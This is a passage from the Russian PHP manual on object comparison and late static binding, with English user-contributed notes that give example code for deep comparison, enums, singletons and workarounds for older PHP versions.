{
return (string) $bool;
}

function compareObjects(&$o1, &$o2)
{
echo 'o1 == o2 : ' . bool2str($o1 == $o2) . "\n";
echo 'o1 != o2 : ' . bool2str($o1 != $o2) . "\n";
echo 'o1 === o2 : ' . bool2str($o1 === $o2) . "\n";
echo 'o1 !== o2 : ' . bool2str($o1 !== $o2) . "\n";
}

class Flag
{
public $flag;

function __construct($flag = true) {
$this->flag = $flag;
}
}

class OtherFlag
{
public $flag;

function __construct($flag = true) {
$this->flag = $flag;
}
}

$o = new Flag();
$p = new Flag();
$q = $o;
$r = new OtherFlag();

echo "Два экземпляра одного и того же класса\n";
compareObjects($o, $p);

echo "\nДве ссылки на один и тот же экземпляр\n";
compareObjects($o, $q);

echo "\nЭкземпляры двух разных классов\n";
compareObjects($o, $r);
?>

Результат выполнения данного примера:

Два экземпляра одного и того же класса
o1 == o2 : TRUE
o1 != o2 : FALSE
o1 === o2 : FALSE
o1 !== o2 : TRUE

Две ссылки на один и тот же экземпляр
o1 == o2 : TRUE
o1 != o2 : FALSE
o1 === o2 : TRUE
o1 !== o2 : FALSE

Экземпляры двух разных классов
o1 == o2 : FALSE
o1 != o2 : TRUE
o1 === o2 : FALSE
o1 !== o2 : TRUE

Замечание:

Модули могут определять собственные правила для сравнения своих объектов (==).

User Contributed Notes

cpmjr1 at gmail dot com 02-Mar-2023 05:32
It is not immediately obvious based on the docs, but the equality comparison operator does also check protected and private properties.

Example:
<?php
class A { public $a = 0; private $b = 1; public function __construct($test) {$this->b = $test;}}
echo "A(1) == A(2) " . var_export((new A(1)) == (new A(2)), true) . "\n";
echo "A(1) == A(1) " . var_export((new A(1)) == (new A(1)), true) . "\n";
?>
Output:
A(1) == A(2) false
A(1) == A(1) true
rnealxp at yahoo dot com 12-Apr-2020 04:19
Please use this corrected version of function "valuesAreIdentical" instead of that which I previously posted (dependencies found in previous post); if an Admin can just replace the fn snippet, awesome/thanks, otherwise, apologies.
<?php
    public static function valuesAreIdentical($v1, $v2):bool{
        $type1 = gettype($v1);
        $type2 = gettype($v2);
        switch(true){
            case ($type1 !== $type2):
                return false;
            case ($type1==='boolean' || $type1==='integer' || $type1==='double' || $type1==='string'):
                //Do strict comparison here.
                return ($v1===$v2);
            case ($type1==='array'):
                return self::arraysAreIdentical($v1, $v2);
            case ($type1==='object'):
                return self::objectsAreIdentical($v1,$v2);
            case ($type1==='NULL'):
                //Since both types were of type NULL, consider their "values" equal.
                return true;
            case ($type1==='resource' || $type1==='unknown type'):
                //How to compare if at all?
                return true;
            default:
                return true; //Code-flow not intended to arrive here.
        } //end switch
    }
?>
rnealxp at yahoo dot com 20-May-2017 10:26
These three functions call themselves recursively and handle any nesting levels of arrays/objects/values and do strict comparisons. The entry-point to this function set would be "valuesAreIdentical".

<?php
function valuesAreIdentical($v1, $v2): bool {
    $type1 = gettype($v1);
    $type2 = gettype($v2);

    if($type1 !== $type2){
        return false;
    }

    switch(true){
        case ($type1==='boolean' || $type1==='integer' || $type1==='double' || $type1==='string'):
            //Do strict comparison here.
            if($v1 !== $v2){
                return false;
            }
            break;

        case ($type1==='array'):
            $bool = arraysAreIdentical($v1, $v2);
            if($bool===false){
                return false;
            }
            break;

        case 'object':
            $bool = objectsAreIdentical($v1,$v2);
            if($bool===false){
                return false;
            }
            break;

        case 'NULL':
            //Since both types were of type NULL, consider their "values" equal.
            break;

        case 'resource':
            //How to compare if at all?
            break;

        case 'unknown type':
            //How to compare if at all?
            break;
    } //end switch

    //All tests passed.
    return true;
}

function objectsAreIdentical($o1, $o2): bool {
    //See if loose comparison passes.
    if($o1 != $o2){
        return false;
    }

    //Now do strict(er) comparison.
    $objReflection1 = new ReflectionObject($o1);
    $objReflection2 = new ReflectionObject($o2);

    $arrProperties1 = $objReflection1->getProperties(ReflectionProperty::IS_PUBLIC);
    $arrProperties2 = $objReflection2->getProperties(ReflectionProperty::IS_PUBLIC);

    $bool = arraysAreIdentical($arrProperties1, $arrProperties2);
    if($bool===false){
        return false;
    }

    foreach($arrProperties1 as $key=>$propName){
        $bool = valuesAreIdentical($o1->$propName, $o2->$propName);
        if($bool===false){
            return false;
        }
    }

    //All tests passed.
    return true;
}

function arraysAreIdentical(array $arr1, array $arr2): bool {
    $count = count($arr1);

    //Require that they have the same size.
    if(count($arr2) !== $count){
        return false;
    }

    //Require that they have the same keys.
    $arrKeysInCommon = array_intersect_key($arr1, $arr2);
    if(count($arrKeysInCommon)!== $count){
        return false;
    }

    //Require that their keys be in the same order.
    $arrKeys1 = array_keys($arr1);
    $arrKeys2 = array_keys($arr2);
    foreach($arrKeys1 as $key=>$val){
        if($arrKeys1[$key] !== $arrKeys2[$key]){
            return false;
        }
    }

    //They do have same keys and in same order.
    foreach($arr1 as $key=>$val){
        $bool = valuesAreIdentical($arr1[$key], $arr2[$key]);
        if($bool===false){
            return false;
        }
    }

    //All tests passed.
    return true;
}
?>
nhuhoai 17-Feb-2014 12:45
For comparison about two objects in a class, you can use an interface like this and customize your functions for each class:

<?php
interface EQU {
    public static function compare( EQU $me, EQU $you );
    public function equals( EQU $you );
}
?>

If you gotcha a super class, you can make generic functions (not safe but work with not complex class):

<?php
abstract class SuperClass {
    public function __construct( ) {
        // do what you need
    }
    public static function compare( $obj1, $obj2 ) {
        return serialize( $obj1 ) == serialize( $obj2 );
    }
    public function equals( $obj ) {
        return static::compare( $this, $obj );
    }
}
?>
Oddant 29-May-2013 05:15
This example is way too much confusing, if you new to php comparison motor, you should think (after reading this example) that '==' is actually comparing the type of the objects. that's not true, it actually compares the type of the objects AND the properties of them.

<?php

class A {
    private $value;
    function __construct ($value)
    {
        $this->value = $value;
    }
}
class B {
    private $value;
    function __construct ($value)
    {
        $this->value = $value;
    }
}

$a1 = new A (1);
$a2 = new A (2);
$b1 = new B (1);

var_dump( $a1 == $a2 );
var_dump( $a1 == $b1 );
?>
Anonymous 02-Jul-2010 09:00
Comparison using <> operators should be documented.  Between two objects, at least in PHP5.3, the comparison operation stops and returns at the first unequal property found.

<?php

$o1 = new stdClass();
$o1->prop1 = 'c';
$o1->prop2 = 25;
$o1->prop3 = 201;
$o1->prop4 = 1000;

$o2 = new stdClass();
$o2->prop1 = 'c';
$o2->prop2 = 25;
$o2->prop3 = 200;
$o2->prop4 = 9999;

echo (int)($o1 < $o2); // 0
echo (int)($o1 > $o2); // 1

$o1->prop3 = 200;

echo (int)($o1 < $o2); // 1
echo (int)($o1 > $o2); // 0

?>
Hayley Watson 16-Sep-2008 03:33
This has already been mentioned (see jazfresh at hotmail.com's note), but here it is again in more detail because for objects the difference between == and === is significant.

Loose equality (==) over objects is recursive: if the properties of the two objects being compared are themselves objects, then those properties will also be compared using ==.

<?php
class Link
{
    public $link; function __construct($link) { $this->link = $link; }
}
class Leaf
{
    public $leaf; function __construct($leaf) { $this->leaf = $leaf; }
}

$leaf1 = new Leaf(42);
$leaf2 = new Leaf(42);

$link1 = new Link($leaf1);
$link2 = new Link($leaf2);

echo "Comparing Leaf object equivalence: is \$leaf1==\$leaf2? ", ($leaf1 == $leaf2  ? "Yes" : "No"), "\n";
echo "Comparing Leaf object identity: is \$leaf1===\$leaf2? ",   ($leaf1 === $leaf2 ? "Yes" : "No"), "\n";
echo "\n";
echo "Comparing Link object equivalence: is \$link1==\$link2? ",($link1 == $link2  ? "Yes" : "No"), "\n";
echo "Comparing Link object identity: is \$link1===\$link2? ",  ($link1 === $link2 ? "Yes" : "No"), "\n";
?>

Even though $link1 and $link2 contain different Leaf objects, they are still equivalent because the Leaf objects are themselves equivalent.

The practical upshot is that using "==" when "===" would be more appropriate can result in a severe performance penalty, especially if the objects are large and/or complex. In fact, if there are any circular relationships involved between the objects or (recursively) any of their properties, then a fatal error can result because of the implied infinite loop.

<?php
class Foo { public $foo; }
$t = new Foo; $t->foo = $t;
$g = new Foo; $g->foo = $g;

echo "Strict identity:   ", ($t===$g ? "True" : "False"),"\n";
echo "Loose equivalence: ", ($t==$g  ? "True" : "False"), "\n";
?>

So preference should be given to comparing objects with "===" rather than "=="; if two distinct objects are to be compared for equivalence, try to do so by examining suitable individual properties. (Maybe PHP could get a magic "__equals" method that gets used to evaluate "=="? :) )
wbcarts at juno dot com 08-Sep-2008 01:36
COMPARING OBJECTS using PHP's usort() method.

PHP and MySQL both provide ways to sort your data already, and it is a good idea to use that if possible. However, since this section is on comparing your own PHP objects (and that you may need to alter the sorting method in PHP), here is an example of how you can do that using PHP's "user-defined" sort method, usort() and your own class compare() methods.

<?php

/*
 * Employee.php
 *
 * This class defines a compare() method, which tells PHP the sorting rules
 * for this object - which is to sort by emp_id.
 *
 */
class Employee
{
    public $first;
    public $last;
    public $emp_id;     // the property we're interested in...

    public function __construct($emp_first, $emp_last, $emp_ID)
    {
        $this->first = $emp_first;
        $this->last = $emp_last;
        $this->emp_id = $emp_ID;
    }

    /*
     * define the rules for sorting this object - using emp_id.
     * Make sure this function returns a -1, 0, or 1.
     */
    public static function compare($a, $b)
    {
        if ($a->emp_id < $b->emp_id) return -1;
        else if($a->emp_id == $b->emp_id) return 0;
        else return 1;
    }

    public function __toString()
    {
        return "Employee[first=$this->first, last=$this->last, emp_id=$this->emp_id]";
    }
}

# create a PHP array and initialize it with Employee objects.
$employees = array(
  new Employee("John", "Smith", 345),
  new Employee("Jane", "Doe", 231),
  new Employee("Mike", "Barnes", 522),
  new Employee("Vicky", "Jones", 107),
  new Employee("John", "Doe", 2),
  new Employee("Kevin", "Patterson", 89)
);

# sort the $employees array using Employee compare() method.
usort($employees, array("Employee", "compare"));

# print the results
foreach($employees as $employee)
{
  echo $employee . '<br>';
}
?>

Results are now sorted by emp_id:

Employee[first=John, last=Doe, emp_id=2]
Employee[first=Kevin, last=Patterson, emp_id=89]
Employee[first=Vicky, last=Jones, emp_id=107]
Employee[first=Jane, last=Doe, emp_id=231]
Employee[first=John, last=Smith, emp_id=345]
Employee[first=Mike, last=Barnes, emp_id=522]

Important Note: Your PHP code will never directly call the Employee's compare() method, but PHP's usort() calls it many many times. Also, when defining the rules for sorting, make sure to get to a "primitive type" level... that is, down to a number or string, and that the function returns a -1, 0, or 1, for reliable and consistent results.

Also see: http://www.php.net/manual/en/function.usort.php for more examples of PHP's sorting facilities.
cross+php at distal dot com 05-Mar-2008 08:50
In response to "rune at zedeler dot dk"s comment about class contents being equal, I have a similar issue.  I want to sort an array of objects using sort().

I know I can do it with usort(), but I'm used to C++ where you can define operators that allow comparison.  I see in the zend source code that it calls a compare_objects function, but I don't see any way to implement that function for an object.  Would it have to be an extension to provide that interface?

If so, I'd like to suggest that you allow equivalence and/or comparison operations to be defined in a class definition in PHP.  Then, the sorts of things rune and I want to do would be much easier.
rune at zedeler dot dk 28-Feb-2007 08:34
Whoops, apparently I hadn't checked the array-part of the below very well.
Forgot to test if the arrays had same length, and had some misaligned parenthesis.
This one should work better :+)

<?
function deepCompare($a,$b) {
  if(is_object($a) && is_object($b)) {
    if(get_class($a)!=get_class($b))
      return false;
    foreach($a as $key => $val) {
      if(!deepCompare($val,$b->$key))
        return false;
    }
    return true;
  }
  else if(is_array($a) && is_array($b)) {
    while(!is_null(key($a)) && !is_null(key($b))) {
      if (key($a)!==key($b) || !deepCompare(current($a),current($b)))
        return false;
      next($a); next($b);
    }
    return is_null(key($a)) && is_null(key($b));
  }
  else
    return $a===$b;
}
?>
rune at zedeler dot dk 27-Feb-2007 08:27
I haven't found a build-in function to check whether two obects are identical - that is, all their fields are identical.
In other words,

<?
class A {
  var $x;
  function __construct($x) { $this->x = $x; }

}
$identical1 = new A(42);
$identical2 = new A(42);
$different = new A('42');
?>

Comparing the objects with "==" will claim that all three of them are equal. Comparing with "===" will claim that all are un-equal.
I have found no build-in function to check that the two identicals are
identical, but not identical to the different.

The following function does that:

<?
function deepCompare($a,$b) {
  if(is_object($a) && is_object($b)) {
    if(get_class($a)!=get_class($b))
      return false;
    foreach($a as $key => $val) {
      if(!deepCompare($val,$b->$key))
    return false;
    }
    return true;
  }
  else if(is_array($a) && is_array($b)) {
    while(!is_null(key($a) && !is_null(key($b)))) {
      if (key($a)!==key($b) || !deepCompare(current($a),current($b)))
    return false;
      next($a); next($b);
    }
    return true;
  }
  else
    return $a===$b;
}
?>
jazfresh at hotmail.com 08-Dec-2006 02:36
Note that when comparing object attributes, the comparison is recursive (at least, it is with PHP 5.2). That is, if $a->x contains an object then that will be compared with $b->x in the same manner. Be aware that this can lead to recursion errors:
<?php
class Foo {
    public $x;
}
$a = new Foo();
$b = new Foo();
$a->x = $b;
$b->x = $a;

print_r($a == $b);
?>
Results in:
PHP Fatal error:  Nesting level too deep - recursive dependency? in test.php on line 11


Позднее статическое связывание

PHP реализует функцию, называемую позднее статическое связывание, которая может быть использована для того, чтобы получить ссылку на вызываемый класс в контексте статического наследования.

Если говорить более точно, позднее статическое связывание сохраняет имя класса указанного в последнем "неперенаправленном вызове". В случае статических вызовов это явно указанный класс (обычно слева от оператора ::); в случае не статических вызовов это класс объекта. "Перенаправленный вызов" - это статический вызов, начинающийся с self::, parent::, static::, или, если двигаться вверх по иерархии классов, forward_static_call(). Функция get_called_class() может быть использована для получения строки с именем вызванного класса, а static:: представляет её область действия.

Само название "позднее статическое связывание" отражает в себе внутреннюю реализацию этой особенности. "Позднее связывание" отражает тот факт, что обращения через static:: не будут вычисляться по отношению к классу, в котором вызываемый метод определён, а будут вычисляться на основе информации в ходе исполнения. Также эта особенность была названа "статическое связывание" потому, что она может быть использована (но не обязательно) в статических методах.

Ограничения self::

Статические ссылки на текущий класс, такие как self:: или __CLASS__, вычисляются используя класс, к которому эта функция принадлежит, как и в том месте, где она была определена:

Пример #1 Использование self::

<?php
class A {
public static function who() {
echo __CLASS__;
}
public static function test() {
self::who();
}
}

class B extends A {
public static function who() {
echo __CLASS__;
}
}

B::test();
?>

Результат выполнения данного примера:

A

Использование позднего статического связывания

Позднее статическое связывание пытается устранить это ограничение, предоставляя ключевое слово, которое ссылается на класс, вызванный непосредственно в ходе выполнения. Попросту говоря, ключевое слово, которое позволит вам ссылаться на B из test() в предыдущем примере. Было решено не вводить новое ключевое слово, а использовать static, которое уже зарезервировано.

Пример #2 Простое использование static::

<?php
class A {
public static function who() {
echo __CLASS__;
}
public static function test() {
static::who(); // Здесь действует позднее статическое связывание
}
}

class B extends A {
public static function who() {
echo __CLASS__;
}
}

B::test();
?>

Результат выполнения данного примера:

B

Замечание:

В нестатическом контексте вызванным классом будет тот, к которому относится экземпляр объекта. Поскольку $this-> будет пытаться вызывать закрытые методы из той же области действия, использование static:: может дать разные результаты. Другое отличие в том, что static:: может ссылаться только на статические поля класса.

Пример #3 Использование static:: в нестатическом контексте

<?php
class A {
private function foo() {
echo "success!\n";
}
public function test() {
$this->foo();
static::foo();
}
}

class B extends A {
/* foo() будет скопирован в В, следовательно его область действия по прежнему А,
и вызов будет успешным */
}

class C extends A {
private function foo() {
/* исходный метод заменён; область действия нового метода - С */
}
}

$b = new B();
$b->test();
$c = new C();
$c->test(); // потерпит ошибку
?>

Результат выполнения данного примера:

success!
success!
success!

Fatal error:  Call to private method C::foo() from context 'A' in /tmp/test.php on line 9

Замечание:

Разрешающая область позднего статического связывания будет фиксирована вычисляющем её статическим вызовом. С другой стороны, статические вызовы с использованием таких директив как parent:: или self:: перенаправляют информацию вызова.

Пример #4 Перенаправленные и неперенаправленные вызовы

<?php
class A {
public static function foo() {
static::who();
}

public static function who() {
echo __CLASS__."\n";
}
}

class B extends A {
public static function test() {
A::foo();
parent::foo();
self::foo();
}

public static function who() {
echo __CLASS__."\n";
}
}
class C extends B {
public static function who() {
echo __CLASS__."\n";
}
}

C::test();
?>

Результат выполнения данного примера:

A
C
C

User Contributed Notes

MikeT 25-Oct-2022 11:52
Word of caution static::class doesn't always work as you might expect
<?php
namespace NameSpace;

class Class
{
    static function getClass()
    {
         return static::class;
    }
}

Class::getClass()
?>
may return \NameSpace\Class or Class depending on context
5imun at github dot com 29-Jul-2022 07:38
Example of setting up static property in child class from parent only if it isn't already defined, many people would expect that output will be "Foo Bar" but instead we get "Foo Foo":

<?php
class Foo
{
    public static string $A;

    public static function init() {
        return "Foo";
    }
    public static function get() {
        if (!isset(static::$A)) {
            static::$A = static::init();
        }
        return static::$A;
    }
}

class Bar extends Foo {
    public static function init() {
        return "Bar";
    }
}

$foo = new Foo();
$bar = new Bar();

echo $foo->get();
echo $bar->get();
?>

Output:
Foo
Foo
5imun at github dot com 29-Jul-2022 07:14
You must be careful when getting static property of extended class from parent class, in example below you can see that using property_exists (method getA2) instead of isset with static keyword (method getA1) to check if the static property exist gives much more intuitive result:

<?php
class Foo
{
    public static string $A;

    public static function init() {
        return static::class;
    }

    public static function getA1() {
        if (!isset(static::$A)) {
            static::$A = static::class;
        }
        return static::$A;
    }

    public static function getA2() {
        if (property_exists(static::class, 'A')) {
            static::$A = static::class;
        }
        return static::$A;
    }
}
class Bar extends Foo {}

$foo = new Foo();
echo $foo->getA1();
echo $foo->getA2();
echo $foo->getA1();

$bar = new Bar();
echo $bar->getA1();
echo $bar->getA2();
echo $bar->getA1();
?>

Output:
Foo
Foo
Foo

Foo
Bar
Bar

Notice how $bar->getA1() returns "Foo" instead of "Bar" that many people would expect to see.
aabweber at gmail dot com 27-Mar-2022 07:05
Simplest way to understand is to run this script:

<?php
class ParentClass
{
    static $A = 'ParentVariable';

    static function parentCall()
    {
        echo get_called_class() . ', self: ' . self::$A . "\n";
        echo get_called_class() . ', static: ' . static::$A . "\n";
        echo "---\n";
    }
}

class ChildClass extends ParentClass
{
    static $A = 'ChildVariable';

    static function childCall()
    {
        echo get_called_class() . ', self: ' . self::$A . "\n";
        echo get_called_class() . ', static: ' . static::$A . "\n";
        echo get_called_class() . ', parent: ' . parent::$A . "\n";
        echo "---\n";
    }
}

echo "Late Static Bindings:\n";
ParentClass::parentCall();
ChildClass::parentCall();
ChildClass::childCall();
?>

----
Output:

Late Static Bindings:
ParentClass, self: ParentVariable
ParentClass, static: ParentVariable
---
ChildClass, self: ParentVariable
ChildClass, static: ChildVariable
---
ChildClass, self: ChildVariable
ChildClass, static: ChildVariable
ChildClass, parent: ParentVariable
Anonymous 19-Feb-2022 09:02
class P_Class {
    public static $val = "Parent";
    public static function setVal($val){
        static::$val = $val;
    }
    public static function getVal(){
        return static::$val;
    }
}

class C_Class extends P_Class{}

C_Class::setVal("Child");
var_dump(C_Class::getVal());
var_dump(P_Class::getVal());

Output:
string(5) "Child"
string(5) "Child"
backnot 04-Sep-2021 11:07
In the above example (#3) in order to make it work, you can change the child's method from 'private' to 'protected' (or public) and it will be called through 'static'.

<?php
class A {
    private function foo() {
        echo "success!\n";
    }
    public function test() {
        $this->foo();
        static::foo();
    }
}

class B extends A {
   /* foo() will be copied to B, hence its scope will still be A and
    * the call be successful */
}

class C extends A {
    protected function foo() { //note the change here
         echo 'hello world!';
    }
}

$b = new B();
$b->test();
$c = new C();
$c->test();   // 'success' 'hello world'
?>
MelkiySoft 26-Apr-2018 09:26
<?php

class A
{

}

class B extends A
{
    public static function foo () {
        echo 'new self: ';
        var_dump(new self());
        echo '<br>new parent: ';
        var_dump(new parent());
        echo '<br>new static: ';
        var_dump(new static());
    }
}

class C extends B
{

}

c::foo();
===========================
output:
//new self: object(B)#1 (0) { }
//new parent: object(A)#1 (0) { }
//new static: object(C)#1 (0) { }
sskaje at gmail dot com 31-Aug-2015 04:01
static::class and self::class can be used to get current class name,
work under 5.5 and 5.6
failed in 5.3.

<?php
class a{
    function d() {
        echo "=== self::class ===\n";
        var_dump(self::class);
        echo "=== static::class ===\n";
        var_dump(static::class);
    }
}
class b extends a{}
class c extends b{}

a::d();
b::d();
c::d();

/*
Output:

=== self::class ===
string(1) "a"
=== static::class ===
string(1) "a"
=== self::class ===
string(1) "a"
=== static::class ===
string(1) "b"
=== self::class ===
string(1) "a"
=== static::class ===
string(1) "c"

*/
tamilps2 at gmail dot com 20-Mar-2014 05:42
I have implemented enum using late static binding.

<?php
interface IEnum {
  /**
   * Only concrete class should implement this function that should behave as
   * an enum.
   *
   * This method should return the __CLASS__ constant property of that class
   *
   * @return string __CLASS__
   */
  public static function who();
}

abstract class Enum {

  /**
   * The selected value for the enum implementation
   *
   * @var mixed
   */
  public $value;

  public function __construct($value) {
    $this->value = $value;
  }

  /**
   * The factory method that creates the corresponding enum class.
   *
   * @param integer $type
   * @return false|\class
   */
  public static function Factory($type) {
    if (empty($type)) {
      return false;
    }

    // use of late static binding to get the class.
    $class = static::who();

    if (array_key_exists($type, static::$_enums)) {
      return new $class($type);
    }

    return false;
  }

  public function getValue() {
    return $this->value;
  }

  public static function getValues() {
    return array_keys(static::$_enums);
  }

  public function getString() {
    return static::$_enums[$this->value];
  }

  public function __toString() {
    return static::$_enums[$this->value];
  }

}

class Fruits extends Enum implements IEnum {

      public static $_enums = array(
            1 => 'Apple'
            2 => 'Orange'
            3 => 'Banana'
      )

      public static function who() {
             return __CLASS__;
      }
}

// Usage

// user input from dropdown menu of fruits list
$input = 3;

$fruit = Fruits::Factory($input);

$fruit->getValue(); // 3
$fruit->getString(); // Banana
?>
mhh1422 at hotmail dot com 29-Dec-2013 11:58
For abstract classes with static factory method, you can use the static keyword instead of self like the following:
<?php

abstract class A{

    static function create(){

        //return new self();  //Fatal error: Cannot instantiate abstract class A

        return new static(); //this is the correct way

    }

}

class B extends A{
}

$obj=B::create();
var_dump($obj);

?>
Taai 21-Aug-2012 10:36
I discovered an interesting thing. The class name string must be accessed directly from "flat" variable. Late static binding code that get's it's variable from array that is passed by class instance, throws an syntax error. Bug?

<?php
class A {

    public $metadata = array('class' => 'A');

    public static function numbers()
    {
        return 123;
    }

}

$instance = new A();

// This throws an error
// Parse error: syntax error, unexpected '::' (T_PAAMAYIM_NEKUDOTAYIM)
var_dump( $instance->metadata['class']::numbers() );

// Get the class name and store it in "flat" variable and now it's ok
$class_name = $instance->metadata['class'];
var_dump( $class_name::numbers() );

// Other tests -------------------------------------------

$arr =  array('class' => 'A');

// This works too.
var_dump( $arr['class']::numbers() );
?>
jrfish dot x at gmail dot com 09-Dec-2010 04:05
also works the same way with static variables and constants
jrfish dot x at gmail dot com 09-Dec-2010 04:01
consider this:

<?php
class A
{

 // some stuff....

    public static function getInstance()
    {
        return new self();
    }

}

class B extends A
{
  //stuff...
}

$obj = B::getInstance();

//versus

class A
{

 // some stuff....

    public static function getInstance()
    {
        return new static();
    }

}

class B extends A
{
  //stuff...
}

$obj = B::getInstance();
?>

also works the same way with static variables and constants
Anonymous 24-Nov-2010 09:22
THIS WORKED GREAT FOR ME:

<?php
abstract class ParentClass
{
    static function parent_method()
    {
        $child_class_str = self::get_child_class();
        eval("\$r = ".$child_class_str."::abstract_static();");
        return $r;
    }// CHILD MUST OVERRIDE TO PUT ITSELF INTO TRACE

    protected abstract static function abstract_static();

    private static function get_child_class()
    {
        $backtrace = debug_backtrace();
        $num = count($backtrace);
        for($i = 0; $i < $num; $i++)
        {
            if($backtrace[$i]["class"] !== __CLASS__)
                return $backtrace[$i]["class"];
        }
        return null;
    }
}

class ChildClass extends ParentClass
{
    static function parent_method(){ return parent::parent_method(); }

    protected static function abstract_static()
    {
        return __METHOD__."()";
    }// From ParentClass
}

print "The call was: ". ChildClass::parent_method();
?>
jakub dot lopuszanski at nasza-klasa dot pl 08-Nov-2010 10:12
Suprisingly consts are also lazy bound even though you use self instead of static:
<?php
class A{
  const X=1;
  const Y=self::X;
}
class B extends A{
  const X=1.0;
}
var_dump(B::Y); // float(1.0)
?>
tfn dot yldrm at hotmail dot com 26-Oct-2010 12:30
example for static binding on 5.2 and real enumaration
<?php
    /**
    * Static Binding On PHP 5.2
    * @author Tufan Baris YILDIRIM
    * @since 26.10.2010
    */
    abstract class EnumBase
    {
        protected $num = 0;
        public $toString;
        public $toInt;

        public function __construct($enumKeyOrVal)
        {

            unset($this->toString,$this->toInt);

            $enums = $this->enums();

            if(
            empty($enumKeyOrVal)
            ||
            !(isset($enums[$this->num = $enumKeyOrVal])
            ||
            ($this->num = array_search($enumKeyOrVal,$enums)) !== false)
            )
                $this->num = 0;

            /**
            *  5.3 Version
            */
            /*
            *  if(
            empty($enumKeyOrVal)
            ||
            !(isset(static::$enums[$this->num = $enumKeyOrVal])
            ||
            ($this->num = array_search($enumKeyOrVal,static::$enums)) !== false)
            )
            $this->num = 0;
            */
        }

        #5.3 e gecilirse gerek kalmaz.
        public function vars()
        {
            return get_class_vars(get_class($this));
        }

        public function enums()
        {
            $vars = $this->vars();
            return $vars['enums'];
        }

        public function __get($property)
        {
            if(method_exists($this,'__'.$property))
                return $this->{'__'.$property}();
            else
                return $this->__toString();
        }

        public function __toInt()
        {
            return $this->num;
        }

        public function __toString()
        {

            $enums = $this->enums();

            if(isset($enums[$this->num]))
            {
                return $enums[$this->num];
            }
            else
            {
                return $enums[0];
            }

            /**
            * 5.3 Version
            */

            /*
            if(isset(static::$enums[$this->num]))
            {
            return static::$enums[$this->num];
            }
            else
            {
            return static::$enums[0];
            }
            */
        }
    }

    class Positions extends EnumBase
    {
        public static $enums = array(
        0 => 'Bilinmiyor',
        1 => 'Kale',
        2 => 'Defans',
        3 => 'Orta Saha',
        4 => 'Forvet'
        );
    }

    $a = new Positions('Orta Saha');
    $b = new Positions(4);

    $c = (string)$a; // Orta Saha
    $d = (string)$b; // Forvet
?>
steven dot karas+nospam at gmail dot com 27-Sep-2010 02:38
This function can be used as a workaround for late static binding in PHP >= 5.1.0. There was another similar version of this function elsewhere, but used eval.

<?php

function & static_var($class, $name)
{
    if (is_object($class))
    {
        $class = get_class($class);
    }
    elseif ( ! is_string($class))
    {
        throw new Exception('Must be given an object or a class name', NULL);
    }

    $class = new ReflectionClass($class);
    return $class->getStaticPropertyValue($name);
}

?>
adam dot prall at thinkingman dot com 11-Jun-2010 09:51
Just a quick reminder to always check your syntax. While I love LSB, I thought it wasn't working:

static::$sKey = not set

...until I realized that I'd completely forgotten to make it a variable variable:

$sKey = 'testStaticClassVarNameThatExistsInThisClassesScope';

static::$$sKey = is set

...of course this applies anywhere in PHP, but because of the (current) newness late static bindings, I've seen lots of code with this particular snafu in it from others.
joost dot t dot hart at planet dot nl 21-Aug-2009 06:34
PHP5.3 unavailable, yet in the need for 'static', I did the following.

Any objections? Personally I hate using the the eval() statement...

<?php

class mother
{
    function setStatic( $prop, $val ) {
        // After this, self:: refers to mother, yet next $class refers to...
        //
        $class = get_class( $this );
        eval( "$class::\$$prop = \$$val;" );
    }
}

class child extends mother
{
    protected static $sProp;

    function writer( $value ) {
        parent::setStatic( 'sProp', $value );
    }
    function reader()
    {
        return self::$sProp;
    }
}

$c = new child();
$c->writer( 3 );
echo $c->reader(); // 3

?>
tom 03-Jul-2009 06:28
Something you may find useful for passive code-testing:

<?php
class BaseClass {
  function __get($id) {
    throw new Exception("Trying to access undefined property '$id'.");
  }
  function __set($id) {
    throw new Exception("Trying to access undefined property '$id'.");
  }
}

class MyClass extends BaseClass {
// my implementation
}
?>

Using these magic function as described above will help you to find classes that try to access an undefined (and undocumented) class-member. In most cases: this is an error based on misspelled member names.
kenneth at kennethjorgensen dot com 30-Mar-2009 02:19
Simple basic class which uses to get_called_class() to create singleton instances. A previous post by php at mikebird dot co dot uk explain how to do this, but the extended static variables require you to define them in child classes before they work.

<?php

abstract class Singleton {
    private static $instances = array();

    public function __construct() {
        $class = get_called_class();
        if (array_key_exists($class, self::$instances))
            trigger_error("Tried to construct  a second instance of class \"$class\"", E_USER_WARNING);
    }

    public static function getInstance() {
        $class = get_called_class();
        if (array_key_exists($class, self::$instances) === false)
            self::$instances[$class] = new $class();
        return self::$instances[$class];
    }
}

class A extends Singleton {
}

class B extends Singleton {
}

$a1 = A::getInstance();
$a2 = A::getInstance();
$b1 = B::getInstance();
$b2 = B::getInstance();

if (get_class($a1) == "A" &&
    get_class($a2) == "A" &&
    get_class($b1) == "B" &&
    get_class($b2) == "B" &&
    $a1 === $a2 &&
    $b1 === $b2)
    echo "All good\n";
else
    echo "FAIL!\n";

?>

You probably noticed the use of self:: rather than static::, this is because we want the static variable to be private, and using static:: will not allow us to do that.
gern_ at hotmail dot com 18-Sep-2008 07:51
get_called_class for PHP < 5.3

<?php
/**
 * Return called class name
 *
 * @author Michael Grenier
 * @param int $i_level optional
 * @return string
 */
function get_called_class ($i_level = 1)
{
    $a_debug = debug_backtrace();
    $a_called = array();
    $a_called_function = $a_debug[$i_level]['function'];
    for ($i = 1, $n = sizeof($a_debug); $i < $n; $i++)
    {
        if (in_array($a_debug[$i]['function'], array('eval')) ||
            strpos($a_debug[$i]['function'], 'eval()') !== false)
            continue;
        if (in_array($a_debug[$i]['function'], array('__call', '__callStatic')))
            $a_called_function = $a_debug[$i]['args'][0];
        if ($a_debug[$i]['function'] == $a_called_function)
            $a_called = $a_debug[$i];
    }
    if (isset($a_called['object']) && isset($a_called['class']))
        return (string)$a_called['class'];
    $i_line = (int)$a_called['line'] - 1;
    $a_lines = explode("\n", file_get_contents($a_called['file']));
    preg_match("#([a-zA-Z0-9_]+){$a_called['type']}
                {$a_called['function']}( )*\(#", $a_lines[$i_line], $a_match);
    unset($a_debug, $a_called, $a_called_function, $i_line, $a_lines);
    if (sizeof($a_match) > 0)
        $s_class = (string)trim($a_match[1]);
    else
        $s_class = (string)$a_called['class'];
    if ($s_class == 'self')
        return get_called_class($i_level + 2);
    return $s_class;
}
?>
kx 14-Sep-2008 09:39
At least as of PHP 5.3.0a2 there's a function get_called_class(), which returns the class on which the static method is called.

<?php

class a {
  static public function test() {
    print get_called_class();
  }
}

class b extends a {
}

a::test(); // "a"
b::test(); // "b"

?>
iamscrumpyjack 07-Sep-2008 09:01
I have been dying to see this issue resolved. I'm very much looking forward to the production release of PHP 5.3...

